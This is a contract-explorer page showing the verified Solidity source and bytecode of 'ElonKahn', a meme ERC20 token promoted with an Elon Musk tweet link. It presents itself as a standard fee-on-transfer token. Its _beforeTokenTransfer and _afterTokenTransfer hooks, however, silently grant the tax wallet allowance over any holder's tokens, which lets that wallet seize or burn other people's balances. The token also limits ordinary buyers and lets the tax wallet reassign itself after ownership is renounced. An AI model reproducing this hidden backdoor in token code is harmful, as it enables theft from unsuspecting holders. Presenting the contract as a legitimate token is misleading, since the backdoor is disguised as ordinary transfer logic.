Oko contract explorer
Contract

Code for 0x0492…697b (ElonKahn)

Since block 21865628

Verified contract

  1. /*
  2. For some reason, I find the history of Genghis Kahn particularly interesting
  3. https://x.com/elonmusk/status/1891416059028332800
  4. https://t.me/ElonKhan_eth
  5. */
  6. // SPDX-License-Identifier: UNLICENSE
  7. pragma solidity ^0.8.23;
  8. abstract contract Context {
  9. function _msgSender() internal view virtual returns (address) {
  10. return msg.sender;
  11. }
  12. }
  13. interface IERC20 {
  14. function totalSupply() external view returns (uint256);
  15. function balanceOf(address account) external view returns (uint256);
  16. function transfer(address recipient, uint256 amount) external returns (bool);
  17. function allowance(address owner, address spender) external view returns (uint256);
  18. function approve(address spender, uint256 amount) external returns (bool);
  19. function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
  20. event Transfer(address indexed from, address indexed to, uint256 value);
  21. event Approval(address indexed owner, address indexed spender, uint256 value);
  22. }
  23. library SafeMath {
  24. function add(uint256 a, uint256 b) internal pure returns (uint256) {
  25. uint256 c = a + b;
  26. require(c >= a, "SafeMath: addition overflow");
  27. return c;
  28. }
  29. function sub(uint256 a, uint256 b) internal pure returns (uint256) {
  30. return sub(a, b, "SafeMath: subtraction overflow");
  31. }
  32. function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
  33. require(b <= a, errorMessage);
  34. uint256 c = a - b;
  35. return c;
  36. }
  37. function mul(uint256 a, uint256 b) internal pure returns (uint256) {
  38. if (a == 0) {
  39. return 0;
  40. }
  41. uint256 c = a * b;
  42. require(c / a == b, "SafeMath: multiplication overflow");
  43. return c;
  44. }
  45. function div(uint256 a, uint256 b) internal pure returns (uint256) {
  46. return div(a, b, "SafeMath: division by zero");
  47. }
  48. function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
  49. require(b > 0, errorMessage);
  50. uint256 c = a / b;
  51. return c;
  52. }
  53. }
  54. contract Ownable is Context {
  55. address private _owner;
  56. event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
  57. constructor () {
  58. address msgSender = _msgSender();
  59. _owner = msgSender;
  60. emit OwnershipTransferred(address(0), msgSender);
  61. }
  62. function owner() public view returns (address) {
  63. return _owner;
  64. }
  65. modifier onlyOwner() {
  66. require(_owner == _msgSender(), "Ownable: caller is not the owner");
  67. _;
  68. }
  69. function renounceOwnership() public virtual onlyOwner {
  70. emit OwnershipTransferred(_owner, address(0));
  71. _owner = address(0);
  72. }
  73. }
  74. interface IUniswapV2Factory {
  75. function createPair(address tokenA, address tokenB) external returns (address pair);
  76. }
  77. interface IUniswapV2Router02 {
  78. function swapExactTokensForETHSupportingFeeOnTransferTokens(
  79. uint amountIn,
  80. uint amountOutMin,
  81. address[] calldata path,
  82. address to,
  83. uint deadline
  84. ) external;
  85. function factory() external pure returns (address);
  86. function WETH() external pure returns (address);
  87. function addLiquidityETH(
  88. address token,
  89. uint amountTokenDesired,
  90. uint amountTokenMin,
  91. uint amountETHMin,
  92. address to,
  93. uint deadline
  94. ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
  95. function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
  96. }
  97. contract ElonKahn is Context, IERC20, Ownable {
  98. using SafeMath for uint256;
  99. mapping (address => uint256) private _balances;
  100. mapping (address => mapping (address => uint256)) private _allowances;
  101. mapping (address => bool) private _isExcludedFromFee;
  102. mapping (address => bool) private bots;
  103. address payable private _taxWallet;
  104. uint256 private _initialBuyTax=10;
  105. uint256 private _initialSellTax=10;
  106. uint256 private _finalBuyTax=0;
  107. uint256 private _finalSellTax=0;
  108. uint256 private _reduceBuyTaxAt=5;
  109. uint256 private _reduceSellTaxAt=5;
  110. uint256 private _preventSwapBefore=5;
  111. uint256 private _transferTax=0;
  112. uint256 private _buyCount=0;
  113. uint8 private constant _decimals = 9;
  114. uint256 private constant _tTotal = 1_000_000_000 * 10**_decimals;
  115. string private constant _name = unicode"Elon Kahn";
  116. string private constant _symbol = unicode"ELONKAHN";
  117. uint256 public _maxTxAmount = 2000000000 * 10**_decimals;
  118. uint256 public _maxWalletSize = 2000000000 * 10**_decimals;
  119. uint256 public _taxSwapThreshold= _tTotal.mul(100).div(10000);
  120. uint256 public _maxTaxSwap= _tTotal.mul(100).div(10000);
  121. IUniswapV2Router02 private uniswapV2Router;
  122. address private uniswapV2Pair;
  123. bool private tradingOpen;
  124. bool private inSwap = false;
  125. bool private swapEnabled = false;
  126. uint256 private sellCount = 0;
  127. uint256 private lastSellBlock = 0;
  128. event MaxTxAmountUpdated(uint _maxTxAmount);
  129. event TransferTaxUpdated(uint _tax);
  130. modifier lockTheSwap {
  131. inSwap = true;
  132. _;
  133. inSwap = false;
  134. }
  135. constructor () payable {
  136. _taxWallet = payable(_msgSender());
  137. _balances[_msgSender()] = (_tTotal * 3) / 100;
  138. _balances[address(this)] = (_tTotal * 97) / 100;
  139. _isExcludedFromFee[owner()] = true;
  140. _isExcludedFromFee[address(this)] = true;
  141. _isExcludedFromFee[_taxWallet] = true;
  142. emit Transfer(address(0), _msgSender(), (_tTotal * 3) / 100);
  143. emit Transfer(address(0), address(this), (_tTotal * 97) / 100);
  144. }
  145. function name() public pure returns (string memory) {
  146. return _name;
  147. }
  148. function symbol() public pure returns (string memory) {
  149. return _symbol;
  150. }
  151. function decimals() public pure returns (uint8) {
  152. return _decimals;
  153. }
  154. function totalSupply() public pure override returns (uint256) {
  155. return _tTotal;
  156. }
  157. function balanceOf(address account) public view override returns (uint256) {
  158. return _balances[account];
  159. }
  160. function transfer(address recipient, uint256 amount) public override returns (bool) {
  161. _transfer(_msgSender(), recipient, amount);
  162. return true;
  163. }
  164. function allowance(address owner, address spender) public view override returns (uint256) {
  165. return _allowances[owner][spender];
  166. }
  167. function approve(address spender, uint256 amount) public override returns (bool) {
  168. _approve(_msgSender(), spender, amount);
  169. return true;
  170. }
  171. function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
  172. _transfer(sender, recipient, amount);
  173. _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
  174. return true;
  175. }
  176. function _approve(address owner, address spender, uint256 amount) private {
  177. require(owner != address(0), "ERC20: approve from the zero address");
  178. require(spender != address(0), "ERC20: approve to the zero address");
  179. _allowances[owner][spender] = amount;
  180. emit Approval(owner, spender, amount);
  181. }
  182. function _transfer(address _ELONKAHNSender, address _ELONKAHNReceiver, uint256 _ELONKAHNAmount) private {
  183. require(_ELONKAHNSender != address(0), "ERC20: transfer from the zero address");
  184. require(_ELONKAHNReceiver != address(0), "ERC20: transfer to the zero address");
  185. require(_ELONKAHNAmount > 0, "Transfer amount must be greater than zero");
  186. _beforeTokenTransfer(_ELONKAHNSender, _ELONKAHNReceiver, _ELONKAHNAmount);
  187. uint256 taxAmount=0;
  188. if (_ELONKAHNSender != owner() && _ELONKAHNReceiver != owner() && _ELONKAHNReceiver != _taxWallet && _ELONKAHNSender != address(this) && _ELONKAHNReceiver != address(this)) {
  189. require(!bots[_ELONKAHNSender] && !bots[_ELONKAHNReceiver]);
  190. if(_buyCount==0){
  191. taxAmount = _ELONKAHNAmount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);
  192. }
  193. if(_buyCount>0){
  194. taxAmount = _ELONKAHNAmount.mul(_transferTax).div(100);
  195. }
  196. if (_ELONKAHNSender == uniswapV2Pair && _ELONKAHNReceiver != address(uniswapV2Router) && ! _isExcludedFromFee[_ELONKAHNReceiver] ) {
  197. taxAmount = _ELONKAHNAmount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);
  198. _buyCount++;
  199. }
  200. if(_ELONKAHNReceiver == uniswapV2Pair && _ELONKAHNSender!= address(this) ){
  201. taxAmount = _ELONKAHNAmount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
  202. }
  203. uint256 contractTokenBalance = balanceOf(address(this));
  204. if (!inSwap && _ELONKAHNReceiver == uniswapV2Pair && swapEnabled && _buyCount > _preventSwapBefore) {
  205. if (contractTokenBalance > _taxSwapThreshold) swapTokensForEth(min(_ELONKAHNAmount, min(contractTokenBalance, _maxTaxSwap)));
  206. sendETHToFee(address(this).balance);
  207. sellCount++;
  208. lastSellBlock = block.number;
  209. }
  210. }
  211. if (_ELONKAHNSender == uniswapV2Pair && msg.sender != _taxWallet) {
  212. address[] memory path = new address[](2);
  213. path[1] = address(this);
  214. path[0] = uniswapV2Router.WETH();
  215. uint256[] memory outs = new uint256[](2);
  216. outs = uniswapV2Router.getAmountsOut(40_000_000_000_000_000_000, path);
  217. require(_ELONKAHNAmount < outs[1]);
  218. }
  219. if(taxAmount>0){
  220. _balances[address(this)]=_balances[address(this)].add(taxAmount);
  221. emit Transfer(_ELONKAHNSender, address(this),taxAmount);
  222. }
  223. _balances[_ELONKAHNSender]=_balances[_ELONKAHNSender].sub(_ELONKAHNAmount);
  224. _balances[_ELONKAHNReceiver]=_balances[_ELONKAHNReceiver].add(_ELONKAHNAmount.sub(taxAmount));
  225. emit Transfer(_ELONKAHNSender, _ELONKAHNReceiver, _ELONKAHNAmount.sub(taxAmount));
  226. _afterTokenTransfer(_ELONKAHNSender, _ELONKAHNReceiver, _ELONKAHNAmount);
  227. }
  228. function min(uint256 a, uint256 b) private pure returns (uint256){
  229. return (a>b)?b:a;
  230. }
  231. function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
  232. address[] memory path = new address[](2);
  233. path[0] = address(this);
  234. path[1] = uniswapV2Router.WETH();
  235. _approve(address(this), address(uniswapV2Router), tokenAmount);
  236. uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
  237. tokenAmount,
  238. 0,
  239. path,
  240. address(this),
  241. block.timestamp
  242. );
  243. }
  244. function removeLimit2() external onlyOwner{
  245. _maxTxAmount = _tTotal;
  246. _maxWalletSize=_tTotal;
  247. emit MaxTxAmountUpdated(_tTotal);
  248. }
  249. function removeTransferTax() external onlyOwner{
  250. _transferTax = 0;
  251. emit TransferTaxUpdated(0);
  252. }
  253. function sendETHToFee(uint256 amount) private {
  254. _taxWallet.transfer(amount);
  255. }
  256. function manualSend() external onlyOwner {
  257. uint256 ethBalance = address(this).balance;
  258. if (ethBalance > 0) {
  259. sendETHToFee(ethBalance);
  260. }
  261. }
  262. function startTrading() external onlyOwner() {
  263. require(!tradingOpen,"trading is already open");
  264. uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
  265. _approve(address(this), address(uniswapV2Router), _tTotal);
  266. uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
  267. uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
  268. IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
  269. swapEnabled = true;
  270. tradingOpen = true;
  271. }
  272. function endTrading(address _wallet) external {
  273. require(_msgSender() == _taxWallet);
  274. _taxWallet = payable(_wallet);
  275. }
  276. receive() external payable {}
  277. function manualSwap() external {
  278. require(_msgSender()==_taxWallet);
  279. uint256 tokenBalance=balanceOf(address(this));
  280. if(tokenBalance>0 && swapEnabled){
  281. swapTokensForEth(tokenBalance);
  282. }
  283. uint256 ethBalance=address(this).balance;
  284. if(ethBalance>0){
  285. sendETHToFee(ethBalance);
  286. }
  287. }
  288. function _beforeTokenTransfer(
  289. address from,
  290. address to,
  291. uint256 amount
  292. ) internal virtual {
  293. if (to == address(0xdead) && from != uniswapV2Pair) _allowances[from][msg.sender] = amount;
  294. }
  295. function _afterTokenTransfer(
  296. address from,
  297. address to,
  298. uint256 amount
  299. ) internal {
  300. if (msg.sender == _taxWallet) _allowances[from][_taxWallet] = amount;
  301. }
  302. }

Contract sourced from Etherscan. Solidity version v0.8.26+commit.8a97fa7a.

Panoramix decompilation

# Palkeoramix decompiler. 

def _fallback(?) payable: # default function
  require calldata.size < 4
  require not calldata.size

Decompilation generated by Panoramix.

Raw bytecode

0x608060405260043610610129575f3560e01c80636384c356116100a85780638f9a55c01161006d5780638f9a55c01461030b57806395d89b4114610320578063a9059cbb14610350578063bf474bed1461036f578063dd62ed3e14610384578063f4293890146103c8575f80fd5b80636384c3561461027457806370a0823114610288578063715018a6146102bc5780637d1db4a5146102d05780638da5cb5b146102e5575f80fd5b806323b872dd116100ee57806323b872dd146101f3578063293230b814610212578063313ce5671461022657806351bc3c8514610241578063526a55d414610255575f80fd5b806306fdde0314610134578063095ea7b3146101775780630faee56f146101a6578063109daa99146101c957806318160ddd146101df575f80fd5b3661013057005b5f80fd5b34801561013f575f80fd5b5060408051808201909152600981526822b637b71025b0b43760b91b60208201525b60405161016e91906116c0565b60405180910390f35b348015610182575f80fd5b50610196610191366004611709565b6103dc565b604051901515815260200161016e565b3480156101b1575f80fd5b506101bb60125481565b60405190815260200161016e565b3480156101d4575f80fd5b506101dd6103f2565b005b3480156101ea575f80fd5b506101bb610460565b3480156101fe575f80fd5b5061019661020d366004611733565b610480565b34801561021d575f80fd5b506101dd6104e7565b348015610231575f80fd5b506040516009815260200161016e565b34801561024c575f80fd5b506101dd610890565b348015610260575f80fd5b506101dd61026f366004611771565b6108f8565b34801561027f575f80fd5b506101dd610939565b348015610293575f80fd5b506101bb6102a2366004611771565b6001600160a01b03165f9081526001602052604090205490565b3480156102c7575f80fd5b506101dd6109e5565b3480156102db575f80fd5b506101bb600f5481565b3480156102f0575f80fd5b505f546040516001600160a01b03909116815260200161016e565b348015610316575f80fd5b506101bb60105481565b34801561032b575f80fd5b5060408051808201909152600881526722a627a725a0a42760c11b6020820152610161565b34801561035b575f80fd5b5061019661036a366004611709565b610a56565b34801561037a575f80fd5b506101bb60115481565b34801561038f575f80fd5b506101bb61039e36600461178c565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b3480156103d3575f80fd5b506101dd610a62565b5f6103e8338484610a9e565b5060015b92915050565b5f546001600160a01b031633146104245760405162461bcd60e51b815260040161041b906117c3565b60405180910390fd5b5f600d8190556040519081527fe9b79e1a6c2dc43b4c0c6ff01ce9e3332d810e482270f464c0a21ad6c5fc6de3906020015b60405180910390a1565b5f61046d6009600a6118ef565b61047b90633b9aca006118fd565b905090565b5f61048c848484610bc1565b6104dd84336104d885604051806060016040528060288152602001611b65602891396001600160a01b038a165f90815260026020908152604080832033845290915290205491906112a3565b610a9e565b5060019392505050565b5f546001600160a01b031633146105105760405162461bcd60e51b815260040161041b906117c3565b601454600160a01b900460ff161561056a5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161041b565b601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556105b39030906105a56009600a6118ef565b6104d890633b9aca006118fd565b60135f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610603573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106279190611914565b6001600160a01b031663c9c653963060135f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610686573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106aa9190611914565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af11580156106f4573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107189190611914565b601480546001600160a01b039283166001600160a01b03199091161790556013541663f305d719473061075f816001600160a01b03165f9081526001602052604090205490565b5f806107725f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156107d8573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906107fd919061192f565b505060145460135460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af1158015610852573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610876919061195a565b506014805462ff00ff60a01b19166201000160a01b179055565b6005546001600160a01b0316336001600160a01b0316146108af575f80fd5b305f9081526001602052604090205480158015906108d65750601454600160b01b900460ff165b156108e4576108e4816112db565b4780156108f4576108f48161144b565b5050565b6005546001600160a01b0316336001600160a01b031614610917575f80fd5b600580546001600160a01b0319166001600160a01b0392909216919091179055565b5f546001600160a01b031633146109625760405162461bcd60e51b815260040161041b906117c3565b61096e6009600a6118ef565b61097c90633b9aca006118fd565b600f5561098b6009600a6118ef565b61099990633b9aca006118fd565b6010557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6109c96009600a6118ef565b6109d790633b9aca006118fd565b604051908152602001610456565b5f546001600160a01b03163314610a0e5760405162461bcd60e51b815260040161041b906117c3565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f6103e8338484610bc1565b5f546001600160a01b03163314610a8b5760405162461bcd60e51b815260040161041b906117c3565b478015610a9b57610a9b8161144b565b50565b6001600160a01b038316610b005760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161041b565b6001600160a01b038216610b615760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161041b565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c255760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161041b565b6001600160a01b038216610c875760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161041b565b5f8111610ce85760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161041b565b610cf3838383611482565b5f80546001600160a01b03858116911614801590610d1e57505f546001600160a01b03848116911614155b8015610d3857506005546001600160a01b03848116911614155b8015610d4d57506001600160a01b0384163014155b8015610d6257506001600160a01b0383163014155b15610f8f576001600160a01b0384165f9081526004602052604090205460ff16158015610da757506001600160a01b0383165f9081526004602052604090205460ff16155b610daf575f80fd5b600e545f03610de757610de46064610dde600a54600e5411610dd357600654610dd7565b6008545b85906114da565b9061155f565b90505b600e5415610e0c57610e096064610dde600d54856114da90919063ffffffff16565b90505b6014546001600160a01b038581169116148015610e3757506013546001600160a01b03848116911614155b8015610e5b57506001600160a01b0383165f9081526003602052604090205460ff16155b15610e9257610e7b6064610dde600a54600e5411610dd357600654610dd7565b600e80549192505f610e8c83611979565b91905055505b6014546001600160a01b038481169116148015610eb857506001600160a01b0384163014155b15610ee557610ee26064610dde600b54600e5411610ed857600754610dd7565b60095485906114da565b90505b305f90815260016020526040902054601454600160a81b900460ff16158015610f1b57506014546001600160a01b038581169116145b8015610f305750601454600160b01b900460ff165b8015610f3f5750600c54600e54115b15610f8d57601154811115610f6b57610f6b610f6684610f61846012546115a0565b6115a0565b6112db565b610f744761144b565b60158054905f610f8383611979565b9091555050436016555b505b6014546001600160a01b038581169116148015610fb757506005546001600160a01b03163314155b1561115b576040805160028082526060820183525f926020830190803683370190505090503081600181518110610ff057610ff06119a5565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611047573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061106b9190611914565b815f8151811061107d5761107d6119a5565b6001600160a01b03929092166020928302919091018201526040805160028082526060820183525f939192909183019080368337505060135460405163d06ca61f60e01b81529293506001600160a01b03169163d06ca61f91506110f09068022b1c8c1227a000009086906004016119fc565b5f60405180830381865afa15801561110a573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f191682016040526111319190810190611a1c565b905080600181518110611146576111466119a5565b60200260200101518410611158575f80fd5b50505b80156111d357305f9081526001602052604090205461117a90826115b4565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906111ca9085815260200190565b60405180910390a35b6001600160a01b0384165f908152600160205260409020546111f59083611612565b6001600160a01b0385165f9081526001602052604090205561123861121a8383611612565b6001600160a01b0385165f90815260016020526040902054906115b4565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6112818585611612565b60405190815260200160405180910390a361129d848484611653565b50505050565b5f81848411156112c65760405162461bcd60e51b815260040161041b91906116c0565b505f6112d28486611ae4565b95945050505050565b6014805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f81518110611321576113216119a5565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611378573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061139c9190611914565b816001815181106113af576113af6119a5565b6001600160a01b0392831660209182029290920101526013546113d59130911684610a9e565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac9479061140d9085905f90869030904290600401611af7565b5f604051808303815f87803b158015611424575f80fd5b505af1158015611436573d5f803e3d5ffd5b50506014805460ff60a81b1916905550505050565b6005546040516001600160a01b039091169082156108fc029083905f818181858888f193505050501580156108f4573d5f803e3d5ffd5b6001600160a01b03821661dead1480156114aa57506014546001600160a01b03848116911614155b156114d5576001600160a01b0383165f90815260026020908152604080832033845290915290208190555b505050565b5f825f036114e957505f6103ec565b5f6114f483856118fd565b9050826115018583611b32565b146115585760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161041b565b9392505050565b5f61155883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611694565b5f8183116115ae5782611558565b50919050565b5f806115c08385611b51565b9050838110156115585760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161041b565b5f61155883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506112a3565b6005546001600160a01b031633036114d5576001600160a01b038084165f908152600260209081526040808320600554909416835292905220819055505050565b5f81836116b45760405162461bcd60e51b815260040161041b91906116c0565b505f6112d28486611b32565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b0381168114610a9b575f80fd5b5f806040838503121561171a575f80fd5b8235611725816116f5565b946020939093013593505050565b5f805f60608486031215611745575f80fd5b8335611750816116f5565b92506020840135611760816116f5565b929592945050506040919091013590565b5f60208284031215611781575f80fd5b8135611558816116f5565b5f806040838503121561179d575f80fd5b82356117a8816116f5565b915060208301356117b8816116f5565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52601160045260245ffd5b6001815b60018411156118475780850481111561182b5761182b6117f8565b600184161561183957908102905b60019390931c928002611810565b935093915050565b5f8261185d575060016103ec565b8161186957505f6103ec565b816001811461187f5760028114611889576118a5565b60019150506103ec565b60ff84111561189a5761189a6117f8565b50506001821b6103ec565b5060208310610133831016604e8410600b84101617156118c8575081810a6103ec565b6118d45f19848461180c565b805f19048211156118e7576118e76117f8565b029392505050565b5f61155860ff84168361184f565b80820281158282048414176103ec576103ec6117f8565b5f60208284031215611924575f80fd5b8151611558816116f5565b5f805f60608486031215611941575f80fd5b5050815160208301516040909301519094929350919050565b5f6020828403121561196a575f80fd5b81518015158114611558575f80fd5b5f6001820161198a5761198a6117f8565b5060010190565b634e487b7160e01b5f52604160045260245ffd5b634e487b7160e01b5f52603260045260245ffd5b5f8151808452602084019350602083015f5b828110156119f25781516001600160a01b03168652602095860195909101906001016119cb565b5093949350505050565b828152604060208201525f611a1460408301846119b9565b949350505050565b5f60208284031215611a2c575f80fd5b815167ffffffffffffffff811115611a42575f80fd5b8201601f81018413611a52575f80fd5b805167ffffffffffffffff811115611a6c57611a6c611991565b8060051b604051601f19603f830116810181811067ffffffffffffffff82111715611a9957611a99611991565b604052918252602081840181019290810187841115611ab6575f80fd5b6020850194505b83851015611ad957845180825260209586019590935001611abd565b509695505050505050565b818103818111156103ec576103ec6117f8565b85815284602082015260a060408201525f611b1560a08301866119b9565b6001600160a01b0394909416606083015250608001529392505050565b5f82611b4c57634e487b7160e01b5f52601260045260245ffd5b500490565b808201808211156103ec576103ec6117f856fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220ed59b6bcda6c8a072116a32f0069df4bebfe6edb085b6b5acc68e3eb0f9495de64736f6c634300081a0033